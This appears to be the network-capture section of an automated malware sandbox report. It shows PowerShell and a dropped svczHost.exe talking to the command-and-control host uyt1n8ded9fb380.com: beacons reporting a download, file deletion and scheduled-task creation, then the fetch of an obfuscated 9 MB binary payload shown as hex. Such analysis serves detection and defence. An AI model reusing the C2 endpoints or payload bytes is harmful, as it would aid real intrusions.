                                                                                                                                          2024-11-08 10:27:43 UTC1369INData Raw: c4 cb 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 c6 25 01 49 8c 04 96 54 90 01 49 8a 01 49 8c 0c ac cb 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 c6 25 01 49 8c 04 86 54 90 01 49 8a 01 49 8c 0c 9c cb 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 c6 25 01 49 8c 04 76 54 90 01 49 8a 01 49 8c 0c 84 cb 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 c6 25 01 49 8c 04 66 54 90 01 49 8a 01 49 8c 0c 6c cb 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 c6 25 01 49 8c 04 4e 54 90 01 49 8a 01 49 8c 0c 54 cb 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 c6 25 01 49 8c 04 36 54 90 01 49 8a 01 49 8c 0c 3c cb 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 c7 25 01 49 8c 04 26 54 90 01 49 8a 01 49 8c 0c 24 cb 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 c7 25 01 49 8c 04 0e 54 90 01 49 8a 01 49 8c
                                                                                                                                          Data Ascii: OI8tI%ITIIOI8tI%ITIIOI8tIg%IvTIIOI8tIG%IfTIIlOI8tI'%INTIITOI8tI%I6TII<OI8tI%I&TII$OI8tI%ITII
                                                                                                                                          2024-11-08 10:27:43 UTC1369INData Raw: 01 49 8a 01 49 8c 0c 5c c6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 c3 25 01 49 8c 04 be 53 90 01 49 8a 01 49 8c 0c 44 c6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 c3 25 01 49 8c 04 a6 53 90 01 49 8a 01 49 8c 0c 2c c6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 c3 25 01 49 8c 04 8e 53 90 01 49 8a 01 49 8c 0c 14 c6 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 c0 25 01 49 8c 04 76 53 90 01 49 8a 01 49 8c 0c fc c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 c0 25 01 49 8c 04 5e 53 90 01 49 8a 01 49 8c 0c e4 c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 c0 25 01 49 8c 04 46 53 90 01 49 8a 01 49 8c 0c cc c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 c0 25 01 49 8c 04 2e 53 90 01 49 8a 01 49 8c 0c bc c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 c0 25 01 49 8c 04 16 53
                                                                                                                                          Data Ascii: II\OI8tIG%ISIIDOI8tI'%ISII,OI8tI%ISIIOI8tI%IvSIIOI8tI%I^SIIOI8tI%IFSIIOI8tI%I.SIIOI8tIg%IS
                                                                                                                                          2024-11-08 10:27:43 UTC1369INData Raw: 01 49 8c 04 e6 4e 90 01 49 8a 01 49 8c 0c b4 c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 bd 25 01 49 8c 04 ce 4e 90 01 49 8a 01 49 8c 0c a4 c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 bd 25 01 49 8c 04 c6 4e 90 01 49 8a 01 49 8c 0c 8c c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 bd 25 01 49 8c 04 b6 4e 90 01 49 8a 01 49 8c 0c 7c c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 bd 25 01 49 8c 04 ae 4e 90 01 49 8a 01 49 8c 0c 64 c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 bd 25 01 49 8c 04 9e 4e 90 01 49 8a 01 49 8c 0c 4c c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 bd 25 01 49 8c 04 96 4e 90 01 49 8a 01 49 8c 0c 34 c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 bd 25 01 49 8c 04 7e 4e 90 01 49 8a 01 49 8c 0c 1c c7 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 bd
                                                                                                                                          Data Ascii: INIIOI8tI%INIIOI8tI%INIIOI8tI%INII|OI8tI%INIIdOI8tIg%INIILOI8tIG%INII4OI8tI'%I~NIIOI8tI
                                                                                                                                          2024-11-08 10:27:43 UTC1369INData Raw: 49 8a d1 e8 a7 b6 25 01 49 8c 04 a6 4f 90 01 49 8a 01 49 8c 0c 6c c2 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 b6 25 01 49 8c 04 a6 4f 90 01 49 8a 01 49 8c 0c 5c c2 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 b6 25 01 49 8c 04 8e 4f 90 01 49 8a 01 49 8c 0c 4c c2 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 47 b6 25 01 49 8c 04 7e 4f 90 01 49 8a 01 49 8c 0c 34 c2 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 b6 25 01 49 8c 04 76 4f 90 01 49 8a 01 49 8c 0c 1c c2 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 b6 25 01 49 8c 04 6e 4f 90 01 49 8a 01 49 8c 0c 04 c2 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 b7 25 01 49 8c 04 56 4f 90 01 49 8a 01 49 8c 0c ec c3 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 b7 25 01 49 8c 04 3e 4f 90 01 49 8a 01 49 8c 0c d4 c3 4f 01 49 82 38 01 74 00
                                                                                                                                          Data Ascii: I%IOIIlOI8tI%IOII\OI8tIg%IOIILOI8tIG%I~OII4OI8tI'%IvOIIOI8tI%InOIIOI8tI%IVOIIOI8tI%I>OIIOI8t
                                                                                                                                          2024-11-08 10:27:43 UTC1369INData Raw: 49 82 38 01 74 00 c2 49 8a d1 e8 47 b3 25 01 49 8c 04 76 4a 90 01 49 8a 01 49 8c 0c e4 be 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 27 b3 25 01 49 8c 04 5e 4a 90 01 49 8a 01 49 8c 0c cc be 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 07 b3 25 01 49 8c 04 46 4a 90 01 49 8a 01 49 8c 0c b4 be 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 e7 b0 25 01 49 8c 04 2e 4a 90 01 49 8a 01 49 8c 0c 9c be 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 c7 b0 25 01 49 8c 04 1e 4a 90 01 49 8a 01 49 8c 0c 84 be 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 a7 b0 25 01 49 8c 04 06 4a 90 01 49 8a 01 49 8c 0c 94 be 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 87 b0 25 01 49 8c 04 ee 4b 90 01 49 8a 01 49 8c 0c 7c be 4f 01 49 82 38 01 74 00 c2 49 8a d1 e8 67 b0 25 01 49 8c 04 fe 4b 90 01 49 8a 01 49 8c 0c 64 be 4f
                                                                                                                                          Data Ascii: I8tIG%IvJIIOI8tI'%I^JIIOI8tI%IFJIIOI8tI%I.JIIOI8tI%IJIIOI8tI%IJIIOI8tI%IKII|OI8tIg%IKIIdO


                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          14192.168.11.2049730104.21.86.2194437900C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          2024-11-08 10:27:53 UTC290OUTPOST /d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c321182403637af315a7aa49b6c9d16b620db3 HTTP/1.1
                                                                                                                                          Content-Type: application/json
                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151
                                                                                                                                          Host: uyt1n8ded9fb380.com
                                                                                                                                          Content-Length: 200
                                                                                                                                          2024-11-08 10:27:53 UTC200OUTData Raw: 5b 0d 0a 20 20 20 20 22 5c 22 44 6f 77 6e 6c 6f 61 64 20 63 6f 6d 70 6c 65 74 65 64 3a 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 66 69 6c 65 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 54 68 65 20 66 69 6c 65 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 66 69 6c 65 20 77 61 73 20 70 72 6f 63 65 73 73 65 64 20 61 6e 64 20 73 61 76 65 64 20 61 73 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 73 76 63 7a 48 6f 73 74 2e 65 78 65 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d
                                                                                                                                          Data Ascii: [ "\"Download completed: C:\\\\Windows\\\\Temp\\\\file\"", "\"The file C:\\\\Windows\\\\Temp\\\\file was processed and saved as C:\\\\Windows\\\\Temp\\\\svczHost.exe\"", "----------"]
                                                                                                                                          2024-11-08 10:27:54 UTC939INHTTP/1.1 200 OK
                                                                                                                                          Date: Fri, 08 Nov 2024 10:27:54 GMT
                                                                                                                                          Content-Length: 0
                                                                                                                                          Connection: close
                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=fbzFm30oe7qrjkDbTBqR%2BPUQuQ%2B7nkF202b24Ir%2BQRZAslyr0fygDKd49d0aGDfoVs2ofvQkUFvOdSSEZ3kb9UKE2E1726rcKgSg%2FpBChyVNZjVx6j9vU0hZTAU%2FAn0gcKetrSxNMumM"}],"group":"cf-nel","max_age":604800}
                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=39067&sent=61&recv=58&lost=0&retrans=0&sent_bytes=21334&recv_bytes=26741&delivery_rate=3095406&cwnd=236&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                          X-Powered-By: ARR/3.0
                                                                                                                                          Server: cloudflare
                                                                                                                                          CF-RAY: 8df4df86cfb317d9-EWR
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=102438&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2847&recv_bytes=1150&delivery_rate=37347&cwnd=237&unsent_bytes=0&cid=bb604fe7d9351b83&ts=814&x=0"


                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          15192.168.11.2049731104.21.86.2194437900C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          2024-11-08 10:27:54 UTC289OUTPOST /d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c321182403637af315a7aa49b6c9d16b620db3 HTTP/1.1
                                                                                                                                          Content-Type: application/json
                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151
                                                                                                                                          Host: uyt1n8ded9fb380.com
                                                                                                                                          Content-Length: 97
                                                                                                                                          2024-11-08 10:27:54 UTC97OUTData Raw: 5b 0d 0a 20 20 20 20 22 5c 22 44 65 74 65 6c 65 20 46 69 6c 65 20 43 3a 5c 5c 5c 5c 57 69 6e 64 6f 77 73 5c 5c 5c 5c 54 65 6d 70 5c 5c 5c 5c 66 69 6c 65 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 61 64 64 20 74 61 73 6b 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d
                                                                                                                                          Data Ascii: [ "\"Detele File C:\\\\Windows\\\\Temp\\\\file\"", "\"add task\"", "----------"]
                                                                                                                                          2024-11-08 10:27:55 UTC944INHTTP/1.1 200 OK
                                                                                                                                          Date: Fri, 08 Nov 2024 10:27:55 GMT
                                                                                                                                          Content-Length: 0
                                                                                                                                          Connection: close
                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MyoZycHron1lbxSrri6Me9p%2FOslsi16%2Fm9e1tOJgMZF29bO3p2ODuya2ej9W%2B80zNeExv9l0OoOWqeAYwhWR4L1XzOPJbkV4VQWtICpB75Adjr5aa5Yq%2FyBZf9oCpPSo56yFoLoj7BHR"}],"group":"cf-nel","max_age":604800}
                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1844&sent=9548&recv=4838&lost=0&retrans=0&sent_bytes=13401461&recv_bytes=32976&delivery_rate=50323136&cwnd=262&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                          X-Powered-By: ARR/3.0
                                                                                                                                          Server: cloudflare
                                                                                                                                          CF-RAY: 8df4df8d496ac360-EWR
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=102440&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2847&recv_bytes=1046&delivery_rate=37299&cwnd=252&unsent_bytes=0&cid=ac6130c33e9fb5e1&ts=830&x=0"


                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          16192.168.11.2049732104.21.86.2194437900C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          2024-11-08 10:27:57 UTC289OUTPOST /d75123253ee9915640e2d3f6e9e28a8b05de536145ec35997b85624670c321182403637af315a7aa49b6c9d16b620db3 HTTP/1.1
                                                                                                                                          Content-Type: application/json
                                                                                                                                          User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-GB) WindowsPowerShell/5.1.19041.1151
                                                                                                                                          Host: uyt1n8ded9fb380.com
                                                                                                                                          Content-Length: 64
                                                                                                                                          2024-11-08 10:27:57 UTC64OUTData Raw: 5b 0d 0a 20 20 20 20 22 5c 22 72 75 6e 20 74 61 73 6b 5c 22 22 2c 0d 0a 20 20 20 20 22 5c 22 6b 65 74 20 74 68 75 63 5c 22 22 2c 0d 0a 20 20 20 20 22 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 22 0d 0a 5d
                                                                                                                                          Data Ascii: [ "\"run task\"", "\"ket thuc\"", "----------"]
                                                                                                                                          2024-11-08 10:27:58 UTC945INHTTP/1.1 200 OK
                                                                                                                                          Date: Fri, 08 Nov 2024 10:27:58 GMT
                                                                                                                                          Content-Length: 0
                                                                                                                                          Connection: close
                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=VoNtGX%2Fxz8ZWc%2FsvQNwe7Y0sPDP%2Bv0VgvgB4%2BF%2FMec4jhPqeJPftNoiVSDg7wb1AADlRO8ZSX9ooEQ%2FkSlcneAFYKTq%2F%2FQ1nCQTtKFM7p5fIm49iekuIrSa0VN2DuGJVxbV2QXj5svoK"}],"group":"cf-nel","max_age":604800}
                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=38952&sent=61&recv=61&lost=0&retrans=0&sent_bytes=21831&recv_bytes=25634&delivery_rate=2232415&cwnd=250&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                          X-Powered-By: ARR/3.0
                                                                                                                                          Server: cloudflare
                                                                                                                                          CF-RAY: 8df4df9feae36a5f-EWR
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=105526&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2848&recv_bytes=1013&delivery_rate=37431&cwnd=252&unsent_bytes=0&cid=9b97f860d97f5ee5&ts=859&x=0"


                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                          17192.168.11.2049734104.21.86.2194439528C:\Windows\Temp\svczHost.exe
                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                          2024-11-08 10:28:27 UTC69OUTGET /StaticFile/RdpService/52 HTTP/1.1
                                                                                                                                          Host: uyt1n8ded9fb380.com
                                                                                                                                          2024-11-08 10:28:28 UTC1102INHTTP/1.1 200 OK
                                                                                                                                          Date: Fri, 08 Nov 2024 10:28:28 GMT
                                                                                                                                          Content-Type: application/octet-stream
                                                                                                                                          Content-Length: 9427456
                                                                                                                                          Connection: close
                                                                                                                                          content-disposition: attachment; filename=image; filename*=UTF-8''image
                                                                                                                                          hash: F651568CD1F1A7ABAEDD4389DA3A2F14
                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=eBUQaZnEXBdODuegQUHGBF%2FYjO3LNvSTUdL53xmP%2FSuDpfcKxygoqJgPN76n93eIjDcq5iX3A5oIohfDDHJsORn3eCsf%2FQ4e5y58SSvMrZbNDM4d5DzkWTwjKQKorioe%2FGk6KZdnSrDR"}],"group":"cf-nel","max_age":604800}
                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1243&sent=9633&recv=4996&lost=0&retrans=0&sent_bytes=13400302&recv_bytes=17967&delivery_rate=61926147&cwnd=257&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                          X-Powered-By: ARR/3.0
                                                                                                                                          Server: cloudflare
                                                                                                                                          CF-RAY: 8df4e058b9b34213-EWR
                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=103050&sent=6&recv=8&lost=0&retrans=0&sent_bytes=2849&recv_bytes=707&delivery_rate=36529&cwnd=252&unsent_bytes=0&cid=40a246a13505413a&ts=886&x=0"
                                                                                                                                          2024-11-08 10:28:28 UTC267INData Raw: 79 6e a4 34 37 34 34 34 30 34 34 34 cb cb 34 34 8c 34 34 34 34 34 34 34 74 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 35 34 34 3a 2b 8e 3a 34 80 3d f9 15 8c 35 78 f9 15 60 5c 5d 47 14 44 46 5b 53 46 55 59 14 57 55 5a 5a 5b 40 14 56 51 14 46 41 5a 14 5d 5a 14 70 7b 67 14 59 5b 50 51 1a 39 39 3e 10 34 34 34 34 34 34 34 da d9 02 14 9e b8 6c 47 9e b8 6c 47 9e b8 6c 47 97 c0 ff 47 90 b8 6c 47 ee 39 6d 46 89 b8 6c 47 9e b8 6d 47 18 b9 6c 47 8e 3c 6f 46 8d b8 6c 47 8e 3c 68 46 a7 b8 6c 47 d6 3d 69 46 9d b8 6c 47 ee 39 68 46 9c b8 6c 47 9e b8 6c 47 9f b8 6c 47 8e 3c 69 46 e8 b8 6c 47 d6 3d 6c 46 9f b8 6c 47 d6 3d 6e 46 9f b8 6c 47 66 5d 57 5c 9e b8 6c 47 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34
                                                                                                                                          Data Ascii: yn474440444444444444t444444444444444444444444444444444444544:+:4=5x`\]GDF[SFUYWUZZ[@VQFAZ]Zp{gY[PQ99>4444444lGlGlGGlG9mFlGmGlG<oFlG<hFlG=iFlG9hFlGlGlG<iFlG=lFlG=nFlGf]W\lG444444444444444
                                                                                                                                          2024-11-08 10:28:28 UTC1369INData Raw: 53 34 34 34 34 34 34 34 34 c4 34 16 34 3f 36 3a 1d 34 0e 64 34 34 a4 75 34 34 2e 28 34 ac e5 3f 34 34 24 34 34 34 34 34 74 35 34 34 34 34 24 34 34 34 36 34 34 32 34 34 34 34 34 34 34 32 34 34 34 34 34 34 34 34 74 9a 34 34 30 34 34 34 34 34 34 37 34 54 b5 34 34 24 34 34 34 34 34 34 24 34 34 34 34 34 34 34 34 24 34 34 34 34 34 34 24 34 34 34 34 34 34 34 34 34 34 24 34 34 34 34 f2 91 34 3c 36 34 34 3c fc 91 34 48 35 34 34 34 24 9a 34 86 31 34 34 34 b4 9c 34 fc b2 31 34 34 34 34 34 34 34 34 34 34 14 9a 34 78 20 34 34 a4 98 ad 34 28 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 b4 9a ad 34 1c 34 34 34 64 9f ad 34 74 35 34 34 34 34 34 34 34 34 34 34 34 b4 58 34 f4 3f 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 34 1a 40
                                                                                                                                          Data Ascii: S4444444444?6:4d44u44.(4?44$44444t54444$44464424444444244444444t44044444474T44$444444$44444444$444444$4444444444$44444<644<4H5444$414444144444444444x 444(44444444444444444444444d4t544444444444X4?44444444444444444444444444@
                                                                                                                                          2024-11-08 10:28:28 UTC1369INData Raw: c4 ba 6c 34 7c b9 39 d5 ba 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd f6 e0 1c 34 7c b9 31 7f bb 6c 34 7c b9 39 08 bb 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 91 e0 1c 34 7c b9 31 0a bb 6c 34 7c b9 39 1b bb 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd bc e0 1c 34 7c b9 31 05 bb 6c 34 7c b9 39 16 bb 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 5f e0 1c 34 7c b9 31 10 bb 6c 34 7c b9 39 21 bb 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 7a e0 1c 34 7c b9 31 23 bb 6c 34 7c b9 39 3c bb 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 05 e0 1c 34 7c b9 31 3e bb 6c 34 7c b9 39 cf ba 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 20 e0 1c 34 7c b9 31 c9 ba 6c 34 7c b9 39 da ba 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd c3 e7 1c 34 7c b9 31 2c bb 6c 34 7c b9 39 3d bb 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd ee
                                                                                                                                          Data Ascii: l4|9l4|4A5|4|1l4|9l4|4A5|4|1l4|9l4|4A5|4|1l4|9l4|4A5|_4|1l4|9!l4|4A5|z4|1#l4|9<l4|4A5|4|1>l4|9l4|4A5| 4|1l4|9l4|4A5|4|1,l4|9=l4|4A5|
                                                                                                                                          2024-11-08 10:28:28 UTC1369INData Raw: 39 ba a5 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 5b fb 1c 34 7c b9 31 ac a5 6c 34 7c b9 39 bd a5 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 66 fb 1c 34 7c b9 31 bf a5 6c 34 7c b9 39 48 a5 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 01 fb 1c 34 7c b9 31 4a a5 6c 34 7c b9 39 5b a5 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 2c fb 1c 34 7c b9 31 4d a5 6c 34 7c b9 39 5e a5 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd cf fa 1c 34 7c b9 31 40 a5 6c 34 7c b9 39 51 a5 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd ea fa 1c 34 7c b9 31 db a5 6c 34 7c b9 39 d4 a5 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd f5 fa 1c 34 7c b9 31 de a5 6c 34 7c b9 39 ef a5 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 90 fa 1c 34 7c b9 31 d1 a5 6c 34 7c b9 39 e2 a5 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd b3 fa 1c 34 7c b9 31
                                                                                                                                          Data Ascii: 9l4|4A5|[4|1l4|9l4|4A5|f4|1l4|9Hl4|4A5|4|1Jl4|9[l4|4A5|,4|1Ml4|9^l4|4A5|4|1@l4|9Ql4|4A5|4|1l4|9l4|4A5|4|1l4|9l4|4A5|4|1l4|9l4|4A5|4|1
                                                                                                                                          2024-11-08 10:28:28 UTC516INData Raw: 7c b9 31 47 3b 92 34 7c bf 34 7c b9 39 65 b6 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd de fd 1c 34 7c b9 31 6f 3b 92 34 7c bf 34 7c b9 39 0d b6 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd fe fd 1c 34 7c b9 31 4f 3b 92 34 7c bf 34 7c b9 39 0d b6 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 9e fd 1c 34 7c b9 31 57 3b 92 34 7c bf 34 7c b9 39 15 b6 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd be fd 1c 34 7c b9 31 7f 3b 92 34 7c bf 34 7c b9 39 0d b6 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 5e fd 1c 34 7c b9 31 77 3b 92 34 7c bf 34 7c b9 39 65 b6 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 7e fd 1c 34 7c b9 31 1f 3b 92 34 7c bf 34 7c b9 39 0d b6 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 1e fd 1c 34 7c b9 31 2f 3b 92 34 7c bf 34 7c b9 39 05 b6 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 3e fd 1c
                                                                                                                                          Data Ascii: |1G;4|4|9el4|4A5|4|1o;4|4|9l4|4A5|4|1O;4|4|9l4|4A5|4|1W;4|4|9l4|4A5|4|1;4|4|9l4|4A5|^4|1w;4|4|9el4|4A5|~4|1;4|4|9l4|4A5|4|1/;4|4|9l4|4A5|>
                                                                                                                                          2024-11-08 10:28:28 UTC1369INData Raw: 3a 92 34 7c bf 34 7c b9 39 fd b5 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd de f3 1c 34 7c b9 31 47 3a 92 34 7c bf 34 7c b9 39 f5 b5 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd fe f3 1c 34 7c b9 31 4f 3a 92 34 7c bf 34 7c b9 39 f5 b5 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 9e f3 1c 34 7c b9 31 57 3a 92 34 7c bf 34 7c b9 39 85 b5 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd be f3 1c 34 7c b9 31 57 3a 92 34 7c bf 34 7c b9 39 a5 b6 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 5e f3 1c 34 7c b9 31 7f 3a 92 34 7c bf 34 7c b9 39 4d b6 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 7e f3 1c 34 7c b9 31 07 3a 92 34 7c bf 34 7c b9 39 55 b6 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 1e f3 1c 34 7c b9 31 2f 3a 92 34 7c bf 34 7c b9 39 7d b6 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 3e f3 1c 34 7c b9 31
                                                                                                                                          Data Ascii: :4|4|9l4|4A5|4|1G:4|4|9l4|4A5|4|1O:4|4|9l4|4A5|4|1W:4|4|9l4|4A5|4|1W:4|4|9l4|4A5|^4|1:4|4|9Ml4|4A5|~4|1:4|4|9Ul4|4A5|4|1/:4|4|9}l4|4A5|>4|1
                                                                                                                                          2024-11-08 10:28:28 UTC1369INData Raw: f6 1c 34 7c b9 31 ef 3f 92 34 7c bf 34 7c b9 39 cd 4b 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd be f6 1c 34 7c b9 31 ff 3f 92 34 7c bf 34 7c b9 39 d5 4b 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 5e f6 1c 34 7c b9 31 87 3f 92 34 7c bf 34 7c b9 39 fd 4b 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 7e f6 1c 34 7c b9 31 af 3f 92 34 7c bf 34 7c b9 39 85 4b 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 1e f6 1c 34 7c b9 31 b7 3f 92 34 7c bf 34 7c b9 39 ad 4b 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd 3e f6 1c 34 7c b9 31 5f 3f 92 34 7c bf 34 7c b9 39 b5 4b 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd de f5 1c 34 7c b9 31 57 3f 92 34 7c bf 34 7c b9 39 b5 4b 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd fe f5 1c 34 7c b9 31 7f 3f 92 34 7c bf 34 7c b9 39 5d 4b 6c 34 7c b7 0d 34 41 35 f7 7c bf e4 dd
                                                                                                                                          Data Ascii: 4|1?4|4|9Kl4|4A5|4|1?4|4|9Kl4|4A5|^4|1?4|4|9Kl4|4A5|~4|1?4|4|9Kl4|4A5|4|1?4|4|9Kl4|4A5|>4|1_?4|4|9Kl4|4A5|4|1W?4|4|9Kl4|4A5|4|1?4|4|9]Kl4|4A5|
